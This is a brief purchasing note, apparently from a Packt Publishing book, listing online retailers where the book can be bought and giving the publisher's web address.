Alternatively, you can buy the book from Amazon, BN.com, Computer Manuals and most internet book retailers.



www.PacktPub.com